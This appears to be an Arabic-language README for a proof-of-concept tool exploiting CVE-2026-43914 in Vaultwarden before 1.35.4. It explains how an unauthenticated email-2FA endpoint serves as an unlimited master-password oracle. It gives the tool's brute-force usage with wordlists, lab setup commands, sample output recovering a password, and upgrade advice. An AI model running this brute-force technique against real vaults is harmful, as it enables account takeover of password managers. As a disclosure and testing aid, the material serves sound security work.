
PoC لثغرة CVE-2026-43914: Vaultwarden <1.35.4 — oracle لكلمة المرور لتجاوز القوة الغاشمة للتحقق بخطوتين عبر البريد الإلكتروني (email-2FA). Python باستخدام المكتبة القياسية فقط (Stdlib-only).
إثبات مفهوم لـ CVE-2026-43914: عند تفعيل المصادقة الثنائية عبر البريد الإلكتروني (Email 2FA)، يمكن تجاوز حماية القوة الغاشمة لتسجيل الدخول في Vaultwarden بالكامل عبر نقطة النهاية غير الموثّقة POST /api/two-factor/send-email-login، والتي تعمل كـ أوراكل غير محدودة لكلمة المرور الرئيسية.
الإصدارات المتأثرة: Vaultwarden < 1.35.4
Vaultwarden هو مدير كلمات المرور الأكثر شيوعًا المتوافق مع Bitwarden والمستضاف ذاتيًا. يقوم المسؤولون بتفعيل المصادقة الثنائية عبر البريد الإلكتروني ظنًا منهم أنها تمنع تخمين كلمات المرور — ولكن هذه النقطة تتحقق من تجزئة كلمة المرور الرئيسية وتُعيد حالة HTTP مميزة للتخمينات الصحيحة/الخاطئة قبل تطبيق أي تحديد لمعدل الطلبات أو قفل للحساب:
| الاستجابة | المعنى |
|---|---|
200 | كلمة المرور صحيحة (تم إرسال رمز OTP بالبريد الإلكتروني) |
400 "اسم المستخدم أو كلمة المرور غير صحيحة" | كلمة المرور خاطئة |
يمكن لمهاجم يعرف (أو يخمّن) البريد الإلكتروني للضحية تخمين كلمة المرور الرئيسية بأقصى سرعة وبدون أي تقييد للمعدل. المصادقة الثنائية عبر البريد الإلكتروني لا تمنع ذلك.
في src/api/core/two-factor/email.rs، يتحقق معالج send_email_login من كلمة المرور ويعيد النتيجة مبكرًا عند عدم التطابق — ولكن هذا المسار غير مسجّل مع البرمجيات الوسيطة الخاصة بمكافحة القوة الغاشمة/تحديد الطلبات التي تحمي /identity/connect/token. كل استدعاء:
check_valid_password(master_password_hash) →
err!("Username or password is incorrect") (HTTP 400) عند عدم التطابق،python3 vw_bf_poc.py --host localhost --port 8222 \
--email [email protected] \
--passwords "summer2024,Qwerty123!,CorrectHorse123!"
# or a wordlist:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt
يكفي استخدام مكتبة Python 3 القياسية فقط.
# mail catcher
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog
# vulnerable Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
-e I_REALLY_WANT_VOLATILE_STORAGE=true \
-e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
-e [email protected] -e DOMAIN=http://localhost:8222 \
vaultwarden/server:1.35.3
أنشئ مستخدمًا تجريبيًا (عبر أي عميل أو API من Bitwarden)، وفعّل المصادقة الثنائية عبر البريد الإلكتروني (الإعدادات ← تسجيل الدخول بخطوتين ← البريد الإلكتروني)، ثم شغّل الأداة ضده.
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle
[0001] 400 - wrong1
[0002] 400 - wrong2
[0003] 200 HIT! CorrectHorse123!
=> PASS: master password FOUND = 'CorrectHorse123!' (1.4s, no rate limit hit)
قم بترقية Vaultwarden إلى 1.35.4+. وإلى ذلك الحين: عطّل المصادقة الثنائية عبر البريد الإلكتروني لصالح TOTP/WebAuthn، وضع المثيل خلف وكيل عكسي مع تحديد معدل الطلبات لكل عنوان IP على /api/two-factor/*.
للاستخدام المصرح به في الأبحاث الأمنية والأغراض المخبرية فقط.